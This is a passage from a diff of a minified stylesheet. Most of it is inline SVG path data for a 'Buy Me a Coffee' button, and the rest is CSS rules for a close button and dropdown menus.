81.1106C176.045 79.8052 175.725 78.5955 175.214 77.4798Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M221.989 102.702C221.814 103.753 221.565 104.86 221.246 106.023C220.926 107.184 220.551 108.244 220.12 109.2C219.688 110.155 219.209 110.926 218.682 111.516C218.154 112.105 217.586 112.352 216.979 112.257C216.5 112.192 216.196 111.89 216.069 111.349C215.94 110.807 215.94 110.138 216.069 109.343C216.196 108.546 216.443 107.646 216.811 106.643C217.179 105.64 217.627 104.644 218.154 103.658C218.682 102.67 219.281 101.723 219.952 100.815C220.623 99.9082 221.326 99.1512 222.061 98.5464C222.221 98.7373 222.293 99.2149 222.277 99.9797C222.26 100.744 222.165 101.652 221.989 102.702ZM238.243 81.9697C237.811 81.4921 237.284 81.2218 236.66 81.1576C236.037 81.0939 235.405 81.4442 234.767 82.2085C234.351 82.9727 233.823 83.7054 233.184 84.406C232.545 85.1072 231.882 85.7436 231.195 86.3169C230.507 86.8896 229.852 87.3841 229.229 87.7975C228.606 88.212 228.118 88.5144 227.767 88.7053C227.639 87.6866 227.566 86.5878 227.551 85.409C227.534 84.2308 227.559 83.0369 227.623 81.8266C227.718 80.1067 227.918 78.3715 228.222 76.6194C228.526 74.868 228.965 73.148 229.541 71.4595C229.541 70.5686 229.332 69.8438 228.917 69.2862C228.501 68.7293 227.998 68.3784 227.407 68.2353C226.815 68.0923 226.209 68.1717 225.585 68.4741C224.962 68.7771 224.427 69.3268 223.979 70.122C223.596 71.1735 223.156 72.3516 222.661 73.6571C222.165 74.9631 221.606 76.2928 220.983 77.6461C220.359 79.0006 219.664 80.3139 218.897 81.5873C218.13 82.8618 217.291 83.9927 216.38 84.9793C215.469 85.9666 214.478 86.7393 213.408 87.2963C212.336 87.8538 211.179 88.1005 209.932 88.0369C209.356 87.8775 208.94 87.4478 208.685 86.7466C208.429 86.0466 208.277 85.1702 208.23 84.1193C208.182 83.0684 208.23 81.9139 208.373 80.6557C208.517 79.3982 208.709 78.1479 208.949 76.9061C209.188 75.6637 209.452 74.4855 209.739 73.371C210.027 72.2565 210.298 71.3165 210.554 70.5523C210.938 69.6292 210.938 68.8559 210.554 68.2353C210.171 67.6141 209.644 67.2008 208.973 66.9929C208.302 66.7863 207.598 66.7947 206.863 67.0172C206.128 67.2402 205.6 67.7335 205.281 68.4977C204.737 69.8044 204.241 71.2686 203.794 72.8928C203.347 74.5171 202.987 76.1976 202.716 77.9328C202.444 79.6691 202.291 81.3891 202.26 83.0927C202.258 83.2036 202.263 83.309 202.263 83.4193C201.566 85.2708 200.902 86.6702 200.271 87.6066C199.456 88.8174 198.536 89.3429 197.514 89.1829C197.065 88.992 196.771 88.5465 196.627 87.8453C196.482 87.1453 196.435 86.2854 196.482 85.2654C196.531 84.2472 196.651 83.0927 196.842 81.8024C197.035 80.5127 197.273 79.1752 197.561 77.7897C197.849 76.4037 198.153 75.0116 198.472 73.6098C198.792 72.2086 199.079 70.8868 199.336 69.6444C199.304 68.5299 198.976 67.6784 198.352 67.0887C197.73 66.5002 196.858 66.2693 195.74 66.396C194.973 66.7147 194.405 67.1293 194.038 67.6384C193.67 68.1474 193.374 68.8008 193.151 69.5965C193.022 70.0111 192.831 70.8389 192.575 72.0813C192.319 73.3225 191.992 74.7486 191.592 76.3564C191.193 77.9655 190.721 79.6449 190.178 81.3963C189.635 83.1478 189.027 84.7333 188.357 86.1496C187.685 87.5666 186.95 88.7053 186.151 89.5653C185.352 90.4247 184.489 90.7756 183.562 90.6162C183.05 90.5205 182.723 89.995 182.579 89.0399C182.435 88.0841 182.412 86.9066 182.507 85.5048C182.603 84.1036 182.795 82.5666 183.082 80.8951C183.37 79.223 183.665 77.6388 183.969 76.1413C184.273 74.6449 184.553 73.3225 184.809 72.1765C185.064 71.0298 185.24 70.2656 185.336 69.8838C185.336 68.9602 185.127 68.2202 184.713 67.662C184.297 67.1056 183.794 66.7547 183.202 66.6111C182.61 66.4681 182.003 66.5475 181.381 66.8499C180.757 67.1529 180.222 67.7026 179.774 68.4977C179.614 69.3577 179.406 70.3535 179.151 71.4838C178.895 72.614 178.648 73.7765 178.408 74.971C178.168 76.1655 177.944 77.3358 177.737 78.4824C177.529 79.6291 177.377 80.6321 177.281 81.4921C177.217 82.1606 177.145 82.9812 177.066 83.9521C176.985 84.9242 176.945 85.9508 176.945 87.0332C176.945 88.1169 177.025 89.1914 177.186 90.258C177.345 91.3253 177.633 92.3047 178.048 93.1956C178.463 94.0877 179.047 94.8198 179.799 95.3931C180.549 95.9664 181.5 96.2846 182.651 96.3489C183.833 96.4119 184.864 96.3252 185.744 96.0858C186.622 95.847 187.421 95.4725 188.141 94.9628C188.86 94.4543 189.515 93.8489 190.107 93.1477C190.697 92.4477 191.281 91.6835 191.856 90.855C192.4 92.0659 193.103 93.0047 193.966 93.6737C194.829 94.3422 195.74 94.741 196.699 94.8677C197.657 94.9943 198.633 94.8604 199.624 94.4616C200.614 94.064 201.509 93.3871 202.308 92.4313C202.835 91.8453 203.331 91.1792 203.797 90.4429C203.995 90.7877 204.205 91.1204 204.442 91.4277C205.225 92.4477 206.288 93.1477 207.631 93.5301C209.069 93.9125 210.474 93.9768 211.849 93.7216C213.223 93.4671 214.534 93.0047 215.78 92.3362C217.027 91.6671 218.185 90.8635 219.257 89.9235C220.327 88.9841 221.262 88.0053 222.061 86.9854C222.029 87.7181 222.013 88.4114 222.013 89.0635C222.013 89.7168 221.997 90.4247 221.966 91.1895C220.367 92.3047 218.857 93.6422 217.435 95.2022C216.012 96.7622 214.765 98.4264 213.695 100.194C212.624 101.961 211.785 103.753 211.179 105.568C210.571 107.384 210.275 109.08 210.291 110.657C210.307 112.233 210.682 113.61 211.418 114.788C212.152 115.967 213.351 116.81 215.013 117.32C216.74 117.862 218.257 117.877 219.569 117.368C220.879 116.858 222.021 116.014 222.996 114.836C223.971 113.658 224.77 112.233 225.394 110.561C226.017 108.889 226.512 107.145 226.88 105.33C227.247 103.515 227.479 101.73 227.575 99.9797C227.671 98.2276 227.671 96.6664 227.575 95.2974C230.324 94.1513 232.577 92.7022 234.335 90.9501C236.093 89.1999 237.547 87.352 238.698 85.409C239.049 84.9314 239.169 84.3581 239.058 83.6896C238.945 83.0206 238.674 82.4472 238.243 81.9697Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M298.724 78.9135C298.82 78.1814 298.964 77.4087 299.155 76.5966C299.347 75.7845 299.587 74.996 299.875 74.2318C300.162 73.4676 300.498 72.807 300.882 72.2494C301.265 71.6924 301.673 71.2943 302.104 71.0549C302.536 70.8167 302.974 70.8403 303.423 71.1264C303.902 71.4137 304.197 72.0185 304.31 72.9415C304.421 73.8663 304.31 74.853 303.974 75.9039C303.638 76.9554 303.039 77.942 302.176 78.8657C301.313 79.7899 300.146 80.3941 298.676 80.6808C298.612 80.236 298.628 79.6463 298.724 78.9135ZM315.336 80.8717C314.809 80.7135 314.306 80.6972 313.826 80.8244C313.347 80.9517 313.043 81.2862 312.916 81.8281C312.659 82.8468 312.251 83.8898 311.692 84.9565C311.133 86.0238 310.446 87.0346 309.632 87.9904C308.817 88.9455 307.897 89.7898 306.875 90.5219C305.851 91.2546 304.781 91.78 303.662 92.0982C302.543 92.4491 301.616 92.4885 300.882 92.2176C300.146 91.9479 299.563 91.4855 299.132 90.8328C298.7 90.1801 298.388 89.3916 298.197 88.468C298.005 87.5443 297.893 86.5892 297.861 85.6013C299.683 85.7292 301.305 85.4032 302.728 84.622C304.149 83.8426 305.356 82.8068 306.347 81.5171C307.337 80.2275 308.089 78.7784 308.6 77.1699C309.111 75.5621 309.399 73.9615 309.463 72.3688C309.495 70.8718 309.272 69.6064 308.792 68.5713C308.313 67.5367 307.665 66.7313 306.85 66.1586C306.036 65.5853 305.1 65.2507 304.046 65.1556C302.992 65.0598 301.92 65.2034 300.833 65.5853C299.522 66.0313 298.412 66.7555 297.501 67.7592C296.59 68.7622 295.831 69.9252 295.224 71.2464C294.617 72.5682 294.137 73.993 293.786 75.5215C293.434 77.0505 293.178 78.5554 293.019 80.0366C292.875 81.3656 292.798 82.6365 292.771 83.8632C292.702 84.0189 292.636 84.1686 292.563 84.3353C292.067 85.4668 291.491 86.5734 290.837 87.6558C290.182 88.7389 289.454 89.6467 288.656 90.3788C287.857 91.1116 287.026 91.3661 286.163 91.1431C285.651 91.0164 285.372 90.4261 285.324 89.3758C285.276 88.3243 285.331 87.0189 285.491 85.4583C285.651 83.8983 285.835 82.2093 286.043 80.3941C286.25 78.579 286.354 76.8439 286.354 75.1875C286.354 73.7542 286.082 72.3773 285.539 71.0549C284.995 69.7343 284.252 68.6349 283.31 67.7592C282.367 66.8828 281.272 66.3016 280.026 66.0156C278.779 65.7283 277.437 65.9198 275.999 66.5883C274.56 67.2574 273.417 68.1967 272.571 69.407C271.723 70.6179 270.948 71.8912 270.245 73.2288C269.989 72.2094 269.614 71.2628 269.118 70.3864C268.623 69.5107 268.016 68.7464 267.297 68.0931C266.577 67.441 265.769 66.9313 264.876 66.5646C263.981 66.1992 263.037 66.0156 262.046 66.0156C261.088 66.0156 260.201 66.1992 259.386 66.5646C258.571 66.9313 257.828 67.4004 257.156 67.9737C256.485 68.5476 255.878 69.1919 255.334 69.9088C254.791 70.6252 254.311 71.3343 253.896 72.0343C253.831 71.2064 253.76 70.4822 253.681 69.8603C253.6 69.2398 253.456 68.7143 253.249 68.2846C253.041 67.8543 252.746 67.5283 252.362 67.3052C251.978 67.0828 251.435 66.9707 250.732 66.9707C250.38 66.9707 250.028 67.0422 249.677 67.1852C249.325 67.3289 249.013 67.5283 248.742 67.7828C248.47 68.0386 248.263 68.3482 248.119 68.7143C247.975 69.0804 247.936 69.5028 247.999 69.9803C248.031 70.3312 248.119 70.7525 248.263 71.2464C248.406 71.7403 248.542 72.3858 248.67 73.1809C248.798 73.9773 248.902 74.9409 248.982 76.0712C249.062 77.2021 249.085 78.5875 249.054 80.2275C249.021 81.8681 248.902 83.7862 248.694 85.9837C248.486 88.1813 248.158 90.7291 247.711 93.6267C247.647 94.2957 247.903 94.8376 248.479 95.2515C249.054 95.6648 249.709 95.9036 250.444 95.9678C251.179 96.0315 251.875 95.9036 252.53 95.586C253.185 95.2666 253.561 94.7097 253.656 93.9139C253.752 92.417 253.936 90.8249 254.208 89.1364C254.479 87.4492 254.815 85.7771 255.215 84.1207C255.614 82.465 256.069 80.8887 256.581 79.3911C257.092 77.8942 257.66 76.573 258.283 75.4263C258.907 74.2797 259.554 73.3645 260.225 72.6797C260.896 71.9949 261.599 71.6524 262.335 71.6524C263.229 71.6524 263.924 72.0579 264.42 72.87C264.915 73.6827 265.266 74.7263 265.475 75.999C265.682 77.2736 265.778 78.6675 265.763 80.1796C265.746 81.6923 265.682 83.1492 265.571 84.5504C265.459 85.9522 265.331 87.2019 265.187 88.3007C265.043 89.3995 264.939 90.1564 264.876 90.5697C264.876 91.3025 265.155 91.8831 265.714 92.3134C266.273 92.743 266.896 92.9982 267.584 93.0776C268.272 93.1576 268.918 93.0297 269.526 92.6952C270.133 92.3606 270.485 91.7964 270.581 90.9994C270.9 88.7067 271.34 86.4062 271.899 84.0971C272.458 81.7881 273.098 79.7184 273.817 77.8869C274.536 76.0554 275.335 74.5585 276.214 73.3961C277.093 72.2343 278.028 71.6524 279.019 71.6524C279.53 71.6524 279.922 72.0033 280.193 72.7033C280.465 73.4039 280.601 74.3591 280.601 75.5694C280.601 76.4615 280.529 77.3772 280.386 78.3166C280.241 79.256 280.074 80.2275 279.882 81.2305C279.69 82.2341 279.522 83.2608 279.378 84.3117C279.235 85.3632 279.163 86.4613 279.163 87.608C279.163 88.4043 279.243 89.3279 279.403 90.3788C279.562 91.4291 279.865 92.4255 280.313 93.3642C280.761 94.3042 281.376 95.1 282.16 95.7527C282.943 96.4054 283.941 96.7321 285.155 96.7321C286.978 96.7321 288.591 96.3418 289.998 95.5618C291.404 94.7818 292.611 93.763 293.618 92.5049C293.67 92.4388 293.718 92.3685 293.769 92.3031C293.846 92.4891 293.914 92.6861 294.001 92.863C294.688 94.2642 295.623 95.3466 296.806 96.1115C297.988 96.8757 299.379 97.2975 300.978 97.3775C302.575 97.4563 304.317 97.1618 306.204 96.4933C307.609 95.9836 308.832 95.3466 309.871 94.5824C310.909 93.8182 311.844 92.8867 312.675 91.7879C313.507 90.6891 314.265 89.4231 314.953 87.9904C315.641 86.5565 316.335 84.9171 317.038 83.0692C317.166 82.5608 317.046 82.1068 316.679 81.7081C316.311 81.3105 315.864 81.0317 315.336 80.8717Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M341.393 75.5432C341.233 76.4832 341.018 77.5189 340.746 78.6486C340.474 79.7795 340.131 80.9498 339.715 82.1601C339.3 83.3703 338.788 84.4612 338.181 85.4321C337.574 86.4042 336.878 87.1757 336.096 87.7491C335.312 88.3224 334.41 88.5612 333.387 88.4654C332.875 88.4024 332.483 88.0521 332.212 87.4145C331.94 86.7782 331.797 85.9655 331.78 84.9782C331.764 83.9915 331.852 82.9085 332.044 81.7298C332.236 80.5522 332.531 79.3971 332.932 78.2662C333.331 77.1365 333.818 76.0929 334.393 75.1371C334.969 74.182 335.632 73.4414 336.383 72.916C337.134 72.3905 337.958 72.1445 338.852 72.1754C339.747 72.2075 340.706 72.6529 341.729 73.5129C341.664 73.9275 341.553 74.6044 341.393 75.5432ZM358.437 79.1977C357.941 78.9431 357.43 78.888 356.903 79.031C356.376 79.174 356 79.6601 355.777 80.488C355.649 81.3801 355.361 82.4304 354.914 83.6406C354.466 84.8509 353.914 85.9982 353.26 87.08C352.604 88.163 351.853 89.063 351.006 89.7793C350.159 90.4963 349.256 90.823 348.298 90.7581C347.498 90.6951 346.938 90.289 346.62 89.5406C346.299 88.7921 346.132 87.8533 346.116 86.7218C346.099 85.5921 346.212 84.3182 346.451 82.9007C346.691 81.4837 346.979 80.0746 347.314 78.6722C347.65 77.2716 347.994 75.9256 348.346 74.6359C348.697 73.3463 348.984 72.2554 349.209 71.3639C349.464 70.5675 349.384 69.8912 348.969 69.333C348.553 68.7766 348.034 68.3778 347.411 68.1391C346.787 67.9003 346.155 67.8366 345.516 67.9481C344.877 68.0597 344.462 68.4021 344.27 68.9748C342.384 67.3506 340.57 66.4748 338.829 66.3476C337.086 66.2203 335.48 66.6027 334.01 67.4942C332.539 68.3857 331.237 69.6754 330.103 71.3639C328.968 73.0523 328.049 74.8911 327.345 76.8814C326.642 78.8716 326.203 80.9025 326.027 82.9722C325.851 85.0424 325.987 86.9297 326.435 88.6333C326.883 90.3369 327.673 91.7308 328.808 92.8126C329.942 93.8956 331.485 94.4375 333.435 94.4375C334.298 94.4375 335.129 94.2623 335.928 93.912C336.726 93.5611 337.462 93.1472 338.133 92.6696C338.804 92.192 339.395 91.6902 339.908 91.1648C340.418 90.6393 340.818 90.2018 341.106 89.8509C341.329 90.9975 341.697 91.9696 342.209 92.7654C342.719 93.5611 343.303 94.215 343.958 94.7235C344.613 95.2326 345.301 95.6071 346.02 95.8465C346.739 96.0853 347.435 96.2047 348.105 96.2047C349.608 96.2047 351.013 95.695 352.325 94.6756C353.635 93.6575 354.81 92.4066 355.849 90.926C356.887 89.4448 357.743 87.8848 358.413 86.2442C359.085 84.6043 359.532 83.1473 359.756 81.8728C359.98 81.3952 359.939 80.894 359.636 80.3686C359.332 79.8431 358.933 79.4534 358.437 79.1977Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M444.738 105.571C444.467 106.653 444.043 107.57 443.467 108.318C442.892 109.066 442.173 109.456 441.31 109.489C440.767 109.52 440.351 109.233 440.063 108.629C439.776 108.023 439.576 107.243 439.464 106.288C439.352 105.332 439.304 104.265 439.32 103.087C439.336 101.909 439.384 100.746 439.464 99.5996C439.543 98.4536 439.64 97.3857 439.752 96.3991C439.863 95.4112 439.951 94.6482 440.015 94.1064C441.102 94.2336 442.006 94.7027 442.724 95.5154C443.443 96.3275 443.995 97.2906 444.378 98.4057C444.762 99.5202 444.985 100.723 445.05 102.012C445.113 103.302 445.009 104.488 444.738 105.571ZM427.382 105.571C427.111 106.653 426.687 107.57 426.112 108.318C425.537 109.066 424.817 109.456 423.954 109.489C423.411 109.52 422.996 109.233 422.708 108.629C422.42 108.023 422.22 107.243 422.109 106.288C421.996 105.332 421.948 104.265 421.965 103.087C421.98 101.909 422.028 100.746 422.109 99.5996C422.188 98.4536 422.284 97.3857 422.396 96.3991C422.508 95.4112 422.595 94.6482 422.66 94.1064C423.746 94.2336 424.65 94.7027 425.368 95.5154C426.088 96.3275 426.639 97.2906 427.023 98.4057C427.407 99.5202 427.63 100.723 427.694 102.012C427.757 103.302 427.653 104.488 427.382 105.571ZM409.572 78.4375C409.539 79.2011 409.467 79.8781 409.355 80.4672C409.243 81.0575 409.092 81.4308 408.9 81.5902C408.548 81.3987 408.116 80.906 407.605 80.109C407.094 79.3133 406.695 78.4127 406.406 77.4096C406.119 76.4066 406.03 75.42 406.143 74.4479C406.254 73.477 406.758 72.7212 407.653 72.1788C408.004 71.9879 408.308 72.0594 408.564 72.394C408.82 72.7285 409.027 73.2139 409.188 73.8509C409.347 74.4885 409.458 75.2206 409.523 76.0485C409.587 76.8769 409.603 77.6727 409.572 78.4375ZM405.328 87.9677C404.832 88.4925 404.28 88.9464 403.674 89.3289C403.066 89.7113 402.443 89.9979 401.804 90.1889C401.164 90.3804 400.589 90.4276 400.078 90.3319C398.64 90.0458 397.537 89.424 396.77 88.4689C396.003 87.5137 395.515 86.3913 395.308 85.1017C395.1 83.8114 395.123 82.4338 395.38 80.969C395.635 79.5042 396.066 78.143 396.674 76.8848C397.281 75.6266 398.017 74.5436 398.879 73.6364C399.742 72.7285 400.685 72.1637 401.708 71.94C401.324 73.5642 401.197 75.2448 401.324 76.98C401.452 78.7157 401.868 80.3478 402.571 81.8762C403.018 82.8011 403.554 83.6441 404.177 84.4083C404.801 85.1732 405.56 85.8259 406.455 86.3671C406.199 86.9089 405.823 87.4422 405.328 87.9677ZM458.378 78.9151C458.474 78.183 458.617 77.4096 458.81 76.5975C459.001 75.786 459.241 74.9976 459.528 74.2333C459.816 73.4685 460.152 72.8079 460.536 72.2509C460.92 71.694 461.326 71.2952 461.758 71.0564C462.19 70.8176 462.629 70.8413 463.076 71.1279C463.556 71.4152 463.851 72.02 463.963 72.943C464.075 73.8673 463.963 74.8539 463.628 75.9054C463.292 76.9563 462.693 77.9436 461.83 78.8666C460.968 79.7914 459.8 80.3957 458.33 80.6823C458.266 80.2369 458.282 79.6478 458.378 78.9151ZM477.7 78.9151C477.796 78.183 477.939 77.4096 478.131 76.5975C478.323 75.786 478.563 74.9976 478.851 74.2333C479.138 73.4685 479.473 72.8079 479.857 72.2509C480.241 71.694 480.649 71.2952 481.08 71.0564C481.512 70.8176 481.951 70.8413 482.398 71.1279C482.878 71.4152 483.173 72.02 483.285 72.943C483.397 73.8673 483.285 74.8539 482.95 75.9054C482.614 76.9563 482.015 77.9436 481.152 78.8666C480.289 79.7914 479.122 80.3957 477.652 80.6823C477.588 80.2369 477.604 79.6478 477.7 78.9151ZM495.655 81.7096C495.287 81.312 494.84 81.0332 494.313 80.8732C493.785 80.7144 493.282 80.6987 492.802 80.826C492.323 80.9532 492.018 81.2878 491.891 81.829C491.635 82.8484 491.228 83.8914 490.669 84.9574C490.109 86.0253 489.422 87.0362 488.607 87.9913C487.792 88.9464 486.873 89.7913 485.851 90.5234C484.827 91.2561 483.757 91.7816 482.639 92.0991C481.519 92.4506 480.592 92.49 479.857 92.2191C479.122 91.9488 478.539 91.487 478.107 90.8343C477.676 90.181 477.365 89.3931 477.172 88.4689C476.981 87.5459 476.868 86.5907 476.837 85.6029C478.659 85.7307 480.281 85.4047 481.703 84.6235C483.125 83.8435 484.332 82.8077 485.324 81.5181C486.314 80.229 487.065 78.7799 487.576 77.1715C488.087 75.563 488.375 73.963 488.44 72.3703C488.471 70.8734 488.247 69.6073 487.768 68.5722C487.289 67.5377 486.642 66.7328 485.827 66.1601C485.011 65.5862 484.077 65.2522 483.021 65.1565C481.967 65.0607 480.896 65.205 479.809 65.5862C478.498 66.0328 477.388 66.7571 476.478 67.7601C475.567 68.7637 474.807 69.9267 474.2 71.2473C473.592 72.5697 473.113 73.9939 472.761 75.523C472.409 77.0515 472.154 78.5569 471.995 80.0375C471.839 81.4744 471.755 82.8496 471.736 84.1659C471.615 84.4283 471.486 84.692 471.347 84.9574C470.787 86.0253 470.1 87.0362 469.285 87.9913C468.471 88.9464 467.551 89.7913 466.529 90.5234C465.506 91.2561 464.435 91.7816 463.317 92.0991C462.197 92.4506 461.271 92.49 460.536 92.2191C459.8 91.9488 459.217 91.487 458.786 90.8343C458.355 90.181 458.043 89.3931 457.851 88.4689C457.659 87.5459 457.547 86.5907 457.515 85.6029C459.337 85.7307 460.959 85.4047 462.382 84.6235C463.803 83.8435 465.01 82.8077 466.001 81.5181C466.992 80.229 467.743 78.7799 468.254 77.1715C468.765 75.563 469.054 73.963 469.117 72.3703C469.149 70.8734 468.926 69.6073 468.447 68.5722C467.967 67.5377 467.319 66.7328 466.504 66.1601C465.689 65.5862 464.755 65.2522 463.7 65.1565C462.645 65.0607 461.574 65.205 460.488 65.5862C459.176 66.0328 458.066 66.7571 457.156 67.7601C456.245 68.7637 455.485 69.9267 454.878 71.2473C454.271 72.5697 453.792 73.9939 453.44 75.523C453.088 77.0515 452.832 78.5569 452.673 80.0375C452.582 80.8726 452.522 81.6823 452.477 82.4774C452.168 82.7393 451.867 83.0029 451.546 83.2617C450.444 84.1538 449.284 84.9574 448.07 85.6744C446.855 86.3913 445.592 86.9804 444.283 87.4422C442.971 87.904 441.629 88.1828 440.255 88.278L443.228 56.5578C443.42 55.8887 443.324 55.3003 442.94 54.7906C442.557 54.2809 442.061 53.9306 441.454 53.7397C440.847 53.5482 440.199 53.5645 439.512 53.787C438.824 54.0106 438.258 54.5203 437.81 55.3154C437.586 56.5263 437.354 58.182 437.115 60.2838C436.875 62.3856 436.635 64.6789 436.396 67.1631C436.156 69.6473 435.916 72.2109 435.677 74.8539C435.437 77.4981 435.229 79.966 435.053 82.2587C435.045 82.3605 435.039 82.4526 435.031 82.5532C434.751 82.7896 434.48 83.0277 434.19 83.2617C433.088 84.1538 431.928 84.9574 430.714 85.6744C429.499 86.3913 428.237 86.9804 426.927 87.4422C425.616 87.904 424.273 88.1828 422.899 88.278L425.872 56.5578C426.064 55.8887 425.968 55.3003 425.585 54.7906C425.201 54.2809 424.705 53.9306 424.098 53.7397C423.491 53.5482 422.843 53.5645 422.156 53.787C421.469 54.0106 420.902 54.5203 420.454 55.3154C420.23 56.5263 419.999 58.182 419.76 60.2838C419.519 62.3856 419.28 64.6789 419.04 67.1631C418.8 69.6473 418.561 72.2109 418.321 74.8539C418.082 77.4981 417.873 79.966 417.698 82.2587C417.694 82.3047 417.691 82.3465 417.687 82.3926C417.185 82.6247 416.638 82.8284 416.043 82.9993C415.436 83.175 414.749 83.2786 413.982 83.3102C414.11 82.7362 414.213 82.0993 414.293 81.3987C414.373 80.6987 414.438 79.966 414.486 79.2011C414.534 78.4375 414.549 77.6727 414.534 76.9084C414.517 76.1436 414.477 75.4436 414.414 74.806C414.253 73.4376 413.958 72.1394 413.527 70.9128C413.095 69.6873 412.512 68.6607 411.777 67.8316C411.041 67.0037 410.123 66.4462 409.019 66.1601C407.917 65.8734 406.63 65.9686 405.161 66.4462C402.986 66.1601 401.029 66.3595 399.287 67.0437C397.545 67.7292 396.034 68.7237 394.756 70.0291C393.478 71.3358 392.431 72.8715 391.616 74.6394C390.801 76.4066 390.257 78.2224 389.986 80.0848C389.871 80.8744 389.815 81.6605 389.798 82.4447C389.303 83.4544 388.761 84.3368 388.164 85.0774C387.317 86.1283 386.438 86.9883 385.527 87.6568C384.616 88.3258 383.713 88.8355 382.819 89.1858C381.923 89.5367 381.124 89.7755 380.421 89.9022C379.59 90.0616 378.791 90.0779 378.024 89.9501C377.257 89.8234 376.553 89.4567 375.915 88.8513C375.403 88.4058 375.011 87.6889 374.74 86.7016C374.468 85.7144 374.309 84.5926 374.261 83.3338C374.213 82.0756 374.261 80.7617 374.404 79.3926C374.548 78.0236 374.795 76.7254 375.147 75.4994C375.499 74.2733 375.945 73.1746 376.49 72.2024C377.032 71.2322 377.672 70.5388 378.408 70.1249C378.822 70.1891 379.079 70.4352 379.175 70.8649C379.271 71.2952 379.294 71.8049 379.246 72.394C379.199 72.9836 379.127 73.5885 379.031 74.2091C378.935 74.8303 378.887 75.3485 378.887 75.7618C379.047 76.6218 379.358 77.2909 379.822 77.7684C380.285 78.246 380.805 78.5254 381.38 78.6042C381.955 78.6842 382.522 78.549 383.083 78.1981C383.641 77.8484 384.096 77.2909 384.449 76.526C384.48 76.5581 384.528 76.5739 384.592 76.5739L385.264 70.5073C385.455 69.6788 385.327 68.9467 384.88 68.3098C384.432 67.6728 383.841 67.3062 383.106 67.211C382.179 65.8734 380.924 65.165 379.342 65.085C377.76 65.0056 376.138 65.5231 374.476 66.6377C373.453 67.371 372.55 68.3813 371.767 69.671C370.983 70.9613 370.345 72.394 369.85 73.9703C369.353 75.5466 369.002 77.2115 368.795 78.963C368.587 80.7144 368.547 82.4187 368.674 84.0738C368.802 85.7307 369.098 87.2913 369.562 88.7555C370.025 90.221 370.672 91.447 371.504 92.4337C372.207 93.2937 373.005 93.9233 373.9 94.3215C374.795 94.7197 375.73 94.9658 376.705 95.0615C377.68 95.1567 378.647 95.1167 379.606 94.9421C380.565 94.7676 381.476 94.5209 382.339 94.2015C383.457 93.7882 384.609 93.2621 385.791 92.6252C386.973 91.9888 388.108 91.224 389.195 90.3319C389.767 89.8628 390.317 89.3513 390.849 88.8028C391.091 89.4016 391.362 89.981 391.688 90.5234C392.551 91.9561 393.717 93.1191 395.188 94.0106C396.657 94.9021 398.464 95.3312 400.605 95.3003C402.907 95.2682 405.032 94.6876 406.982 93.5567C408.932 92.427 410.53 90.7616 411.777 88.5646C413.644 88.5646 415.481 88.258 417.287 87.6489C417.272 87.8416 417.256 88.0446 417.242 88.2307C417.115 89.9186 417.05 91.0646 417.05 91.67C417.019 92.7209 416.947 94.0185 416.835 95.5627C416.723 97.1075 416.651 98.7318 416.619 100.435C416.588 102.139 416.651 103.859 416.811 105.595C416.971 107.33 417.306 108.907 417.818 110.325C418.328 111.741 419.055 112.944 419.999 113.932C420.941 114.918 422.18 115.508 423.715 115.699C425.345 115.921 426.751 115.635 427.934 114.839C429.116 114.042 430.075 112.952 430.811 111.567C431.546 110.181 432.064 108.581 432.369 106.766C432.672 104.95 432.76 103.127 432.633 101.295C432.504 99.4639 432.168 97.7366 431.625 96.113C431.082 94.4882 430.33 93.1506 429.372 92.0991C429.948 91.9409 430.634 91.6385 431.434 91.1919C432.232 90.7464 433.055 90.2446 433.903 89.687C434.111 89.5501 434.316 89.4058 434.524 89.2652C434.446 90.3937 434.406 91.1985 434.406 91.67C434.375 92.7209 434.303 94.0185 434.19 95.5627C434.079 97.1075 434.007 98.7318 433.975 100.435C433.943 102.139 434.007 103.859 434.167 105.595C434.326 107.33 434.662 108.907 435.173 110.325C435.684 111.741 436.412 112.944 437.354 113.932C438.297 114.918 439.536 115.508 441.071 115.699C442.7 115.921 444.106 115.635 445.289 114.839C446.472 114.042 447.431 112.952 448.166 111.567C448.901 110.181 449.42 108.581 449.724 106.766C450.028 104.95 450.115 103.127 449.988 101.295C449.86 99.4639 449.524 97.7366 448.982 96.113C448.437 94.4882 447.687 93.1506 446.727 92.0991C447.303 91.9409 447.99 91.6385 448.789 91.1919C449.588 90.7464 450.411 90.2446 451.259 89.687C451.699 89.3974 452.136 89.0986 452.573 88.7913C452.737 90.3488 453.091 91.7149 453.655 92.864C454.343 94.2658 455.277 95.3482 456.46 96.113C457.642 96.8766 459.033 97.299 460.632 97.3784C462.23 97.4572 463.971 97.1633 465.858 96.4942C467.264 95.9851 468.486 95.3482 469.525 94.5839C470.563 93.8191 471.498 92.8876 472.33 91.7894C472.378 91.7258 472.423 91.6567 472.47 91.5925C472.618 92.0385 472.782 92.467 472.977 92.864C473.665 94.2658 474.6 95.3482 475.782 96.113C476.964 96.8766 478.355 97.299 479.953 97.3784C481.551 97.4572 483.293 97.1633 485.179 96.4942C486.586 95.9851 487.808 95.3482 488.847 94.5839C489.885 93.8191 490.82 92.8876 491.652 91.7894C492.483 90.6901 493.241 89.424 493.929 87.9913C494.616 86.558 495.311 84.9186 496.015 83.0708C496.142 82.5617 496.022 82.1078 495.655 81.7096Z' fill='%230D0C23'/%3E%3C/svg%3E%0A");border-radius:6px;box-shadow:0px 2px 3px rgba(0,0,0,0.1)}:root[data-color="dark"] .btn-buymeacoffee,:root[data-color="night"] .btn-buymeacoffee{box-shadow:0px 2px 3px rgba(255,255,255,0.1)}.btn-close{background:var(--background-fg);border:1px dotted var(--border-color);border-radius:4px;cursor:pointer}.dropdown{position:relative}.dropdown-btn{display:flex;flex-direction:row;box-shadow:var(--box-shadow);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap}.dropdown-btn .icon-select{opacity:.4}.dropdown-menu{display:none;position:absolute;right:0;top:34px;min-width:100px;max-height:240px;overflow-x:auto;background:var(--background);color:var(--color3);box-shadow:var(--box-shadow2);z-index:1;border-radius:6px;padding:3px}.dropdown-menu.show{display:block}.dropdown-menu button,.dropdown-menu a{width:100%;display:flex;gap:2px;padding:6px;align-items:center;justify-content:center;cursor:pointer}.dropdown-menu button:hover,.dropdown-menu a:hover{background:var(--background-fg)} - -/*# sourceMappingURL=home.css.map */ \ No newline at end of file diff --git 